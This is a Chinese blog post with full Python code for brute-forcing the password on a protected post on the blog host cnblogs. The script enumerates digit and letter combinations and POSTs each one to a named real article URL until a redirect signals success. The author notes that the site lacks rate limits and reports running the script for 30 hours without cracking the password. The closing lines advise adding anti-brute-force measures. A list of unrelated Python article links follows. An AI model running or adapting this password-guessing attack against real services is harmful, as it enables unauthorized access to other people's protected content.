python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
python益智游戏计算汉诺塔问题示例
Mar 05 Python
Python是编译运行的验证方法
Jan 30 Python
基于python中的TCP及UDP(详解)
Nov 06 Python
Python使用requests及BeautifulSoup构建爬虫实例代码
Jan 24 Python
python获取微信小程序手机号并绑定遇到的坑
Nov 19 Python
python3实现多线程聊天室
Dec 12 Python
Python range、enumerate和zip函数用法详解
Sep 11 Python
python滑块验证码的破解实现
Nov 10 Python
使用 Python 写一个简易的抽奖程序
Dec 08 Python
python代码如何实现余弦相似性计算
Feb 09 Python
Python+Xlwings 删除Excel的行和列
Dec 19 Python
Python 求向量的余弦值操作
Mar 04 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
PHP字符串处理的10个简单方法
2010/06/30 PHP
php数组函数序列之array_flip() 将数组键名与值对调
2011/11/07 PHP
使用JSON实现数据的跨域传输的php代码
2011/12/20 PHP
支付宝接口开发集成支付环境小结
2015/03/17 PHP
thinkPHP5框架中widget的功能与用法详解
2018/06/11 PHP
PHP读取文件,解决中文乱码UTF-8的方法分析
2020/01/22 PHP
ext combox 下拉框不出现自动提示,自动选中的解决方法
2010/02/24 Javascript
javascript SpiderMonkey中的函数序列化如何进行
2012/12/05 Javascript
JQuery加载图片自适应固定大小的DIV
2013/09/12 Javascript
JS小功能(checkbox实现全选和全取消)实例代码
2013/11/28 Javascript
JQuery中serialize()用法实例分析
2015/02/06 Javascript
jQuery拖拽插件gridster使用指南
2015/04/21 Javascript
javascript实现手机震动API代码
2015/08/05 Javascript
JS实现动画兼容性的transition和transform实例分析
2016/12/13 Javascript
Vue.js 父子组件通信的十种方式
2018/10/30 Javascript
详解vue 项目白屏解决方案
2018/10/31 Javascript
解决layui富文本编辑器图片上传无法回显的问题
2019/09/18 Javascript
Python语言技巧之三元运算符使用介绍
2013/03/04 Python
在Python中实现贪婪排名算法的教程
2015/04/17 Python
python简单的函数定义和用法实例
2015/05/07 Python
Python 专题六 局部变量、全局变量global、导入模块变量
2017/03/20 Python
python笔记:mysql、redis操作方法
2017/06/28 Python
TensorFlow实现卷积神经网络CNN
2018/03/09 Python
Python不同目录间进行模块调用的实现方法
2019/01/29 Python
python可视化篇之流式数据监控的实现
2019/08/07 Python
Python 3 使用Pillow生成漂亮的分形树图片
2019/12/24 Python
python实现将json多行数据传入到mysql中使用
2019/12/31 Python
TensorFlow内存管理bfc算法实例
2020/02/03 Python
Python3 读取Word文件方式
2020/02/13 Python
HTML5标签大全
2016/11/23 HTML / CSS
Kathmandu新西兰官网:新西兰户外运动品牌
2019/07/27 全球购物
西铁城美国官方网站:Citizen Watch美国
2019/11/08 全球购物
广州御银科技股份有限公司试卷(C++)
2016/11/04 面试题
致垒球运动员加油稿
2014/02/16 职场文书
2014年党员评议表自我评价
2014/09/27 职场文书
Redis基本数据类型String常用操作命令
2022/06/01 Redis